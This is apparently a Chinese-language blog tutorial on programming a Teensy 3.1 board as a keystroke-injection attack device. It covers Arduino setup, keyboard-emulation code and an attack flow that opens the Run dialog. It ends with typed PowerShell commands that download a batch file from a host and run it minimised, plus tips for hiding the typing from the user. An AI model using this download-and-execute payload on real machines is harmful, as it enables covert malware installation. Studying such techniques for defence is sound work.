Teensy
Teensy可以拿來做攻擊的原理,說到底,也就是鍵盤、滑鼠的巨集,只是可以自行撰寫指令進去,這樣說完,其實就決的它沒有什麼特別的了。
它是使用arduino的IDE,所使用的語言類似於Java、C/C++, 這邊有大大提醒所使用的語言是C/C++,不過這部份,我就沒有詳細去研究了,還沒玩到那種程度,呵呵...
Teensy硬體
下圖是我使用的Teensy 3.1,我目前只有用到他的micro USB以及button,
這是它介面的相關介紹,它能做的事情,其實還不少,只是我目前只拿來做攻擊XD
Micro USB的用途就不用多說了,它上面唯一的button的功能:
- 短按:重開機
- 長按:切換模式
Arduino
其中它預設會給兩個function:
兩個function的差別就是執行次數,針對僅執行一次的setup(),需要特別提醒一下,他是一開機就會開始執行,因此在執行攻擊的時候,必須要driver安裝的時間、系統delay的時間等等,這些會影響到指令是否可以正常輸入。
https://www.youtube.com/watch?v=3JDysy80Bnk
大概介紹到這邊,因為做的測試沒有很多,之後有機會在做分享。
資料參考:https://www.pjrc.com/teensy/td_keyboard.html
void setup(){ ... }//僅執行一次 void loop(){ ... }//持續執行
兩個function的差別就是執行次數,針對僅執行一次的setup(),需要特別提醒一下,他是一開機就會開始執行,因此在執行攻擊的時候,必須要driver安裝的時間、系統delay的時間等等,這些會影響到指令是否可以正常輸入。
安裝Teensy
官方說明:
https://www.pjrc.com/teensy/td_download.html
因為官方有步驟說明,我就不另外寫,這邊主要針對一些可能會遇到的問題做說明,
- 必須要先安裝arduino,否則會無法安裝。
- Teensyduino目前最新僅支援到arduino1.6.8,但是arduino目前最新為1.6.9(或更新),Teensyduino在安裝的時候,會檢查版本,因此最新版1.6.9會無法安裝,無法安裝就是沒有NEXT可以按,因此需要去下載舊版的arduino。
- 一開始要做compiler時,需要設定PORT,選擇Teensy連結到的Port,路徑是Tools=> Port。
- 另外一個會造成編譯錯誤的部份『USB Type』,預設是『Serial』,這是模式是用於Serial monitor,這個是類似console,可以用於除錯,但是這邊必須要選擇『Keyboard+Mouse+Joystick』或是『Serial+Keyboard+Mouse+Joystick』,下圖是此項目所產生的錯誤訊息。
程式撰寫
基本測試-Hello world -01
基本測試就是Hello world,直接上程式:
void setup() { } void loop() { Keyboard.println("Hello world"); }
這段程式碼,只是arduino的hello world,Compiler步驟:
系統快捷鍵
基於上面的Hello world測試程式碼,我們可以發現幾個問題:
- 從開機到執行,間隔很短。
- 最初的指令執行很容易不完整。
- 不斷重複。
delay(1000);
他的時間是毫秒,所以delay(1000)等於延遲1秒。
Keyboard
接下來是輸入的部份:Keyboard
輸入字串:
Keyboard.print("String"); Keyboard.println("String");
差別就是有換行跟沒換行而已,接下來是重頭戲:
這個功能就"按住",像是按住Ctrl,通常會跟另外一個指令做搭配:
這是按某鍵,總共可以按六個鍵,他們兩個的搭配方式,例如windows+R呼叫出『執行』,程式碼會像下面這樣:
這邊又多了幾個新的東西,分別是MODIFIERKEY_GUI、KEY_R、send_now:
MODIFIERKEY_GUI:這是功能鍵,請參考備註『功能鍵對照表』。
KEY_R:按鍵對照表,請參考備註『按鍵對照表』。
send_now:將前面設定的按鍵發送。
整段程式碼的流程,就是按住windows而後再按R,然後送出,而其他用法可以參考官網。
然後最後需要做清空的動作:
此動作是必要的,否則可能會造成鍵盤有問題,測試過程中,如果真的出現鍵盤按鍵出問題的話,就重開機吧。
Keybaord.set_modifier();
這個功能就"按住",像是按住Ctrl,通常會跟另外一個指令做搭配:
Keyboard.set_key1(); Keyboard.set_key2(); Keyboard.set_key3(); Keyboard.set_key4(); Keyboard.set_key5(); Keyboard.set_key6();
這是按某鍵,總共可以按六個鍵,他們兩個的搭配方式,例如windows+R呼叫出『執行』,程式碼會像下面這樣:
Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_key1(KEY_R); Keyboard.send_now();
這邊又多了幾個新的東西,分別是MODIFIERKEY_GUI、KEY_R、send_now:
MODIFIERKEY_GUI:這是功能鍵,請參考備註『功能鍵對照表』。
KEY_R:按鍵對照表,請參考備註『按鍵對照表』。
send_now:將前面設定的按鍵發送。
整段程式碼的流程,就是按住windows而後再按R,然後送出,而其他用法可以參考官網。
然後最後需要做清空的動作:
Keyboard.set_modifier(0); Keyboard.set_key1(0); Keyboard.send_now();
此動作是必要的,否則可能會造成鍵盤有問題,測試過程中,如果真的出現鍵盤按鍵出問題的話,就重開機吧。
攻擊應用
這邊是一個基本的攻擊流程:
- Delay:這個前面有提過了。
- Call Run:Windows+R
- Keyin "Enter":這邊要特別注意,不能用println,必須要鍵入ENTER,才能執行。
- Attack Command:下面另外說明。
- Clean:清除set_modifier、set_key*
Attack Command
攻擊指令在輸入的時候,也有一些地方值得討論:
- 輸入畫面是看得到的。
- 這另外一個方向就是,該如何避免讓使用者看到畫面,我的作法是盡量減少需要輸入的指令。
- 輸入後的延遲。
- 指令跟指令間,必須要維持一定的延遲,我的測試大概是100~200毫秒,應該就可以了。
PowerShell 的部份:
Keyboard.println("powershell -command \"& {(New-Object Net.WebClient).DownloadFile('http://10.1.61.131/tmp/mal.bat', 'c:\\mal.bat')}\"");
Run downloaded file:
Keyboard.println("start /min c:\\mal.bat ^&exit");測試影片:
https://www.youtube.com/watch?v=3JDysy80Bnk
大概介紹到這邊,因為做的測試沒有很多,之後有機會在做分享。
參考資料
- https://www.pjrc.com/teensy/teensy31.html
- https://www.arduino.cc/en/Main/Software
- https://zh.wikipedia.org/wiki/Arduino
備註
- 功能鍵對照表:
Name
|
Function
|
MODIFIERKEY_CTRL | Control Key |
MODIFIERKEY_SHIFT | Shift Key |
MODIFIERKEY_ALT | Alt Key |
MODIFIERKEY_GUI | Windows or Clover |
- 按鍵對照表:
Normal Keys | |||
---|---|---|---|
KEY_A | KEY_B | KEY_C | KEY_D |
KEY_E | KEY_F | KEY_G | KEY_H |
KEY_I | KEY_J | KEY_K | KEY_L |
KEY_M | KEY_N | KEY_O | KEY_P |
KEY_Q | KEY_R | KEY_S | KEY_T |
KEY_U | KEY_V | KEY_W | KEY_X |
KEY_Y | KEY_Z | KEY_1 | KEY_2 |
KEY_3 | KEY_4 | KEY_5 | KEY_6 |
KEY_7 | KEY_8 | KEY_9 | KEY_0 |
KEY_ENTER | KEY_ESC | KEY_BACKSPACE | KEY_TAB |
KEY_SPACE | KEY_MINUS | KEY_EQUAL | KEY_LEFT_BRACE |
KEY_RIGHT_BRACE | KEY_BACKSLASH | KEY_NUMBER | KEY_SEMICOLON |
KEY_QUOTE | KEY_TILDE | KEY_COMMA | KEY_PERIOD |
KEY_SLASH | KEY_CAPS_LOCK | KEY_F1 | KEY_F2 |
KEY_F3 | KEY_F4 | KEY_F5 | KEY_F6 |
KEY_F7 | KEY_F8 | KEY_F9 | KEY_F10 |
KEY_F11 | KEY_F12 | KEY_PRINTSCREEN | KEY_SCROLL_LOCK |
KEY_PAUSE | KEY_INSERT | KEY_HOME | KEY_PAGE_UP |
KEY_DELETE | KEY_END | KEY_PAGE_DOWN | KEY_RIGHT |
KEY_LEFT | KEY_DOWN | KEY_UP | KEY_NUM_LOCK |
KEYPAD_SLASH | KEYPAD_ASTERIX | KEYPAD_MINUS | KEYPAD_PLUS |
KEYPAD_ENTER | KEYPAD_1 | KEYPAD_2 | KEYPAD_3 |
KEYPAD_4 | KEYPAD_5 | KEYPAD_6 | KEYPAD_7 |
KEYPAD_8 | KEYPAD_9 | KEYPAD_0 | KEYPAD_PERIOD |
資料參考:https://www.pjrc.com/teensy/td_keyboard.html
不是類似Java,C/C++
回覆刪除他就是完整的C++
而且還支援最新的C++標準
感謝大大提醒,此部分已更正。
刪除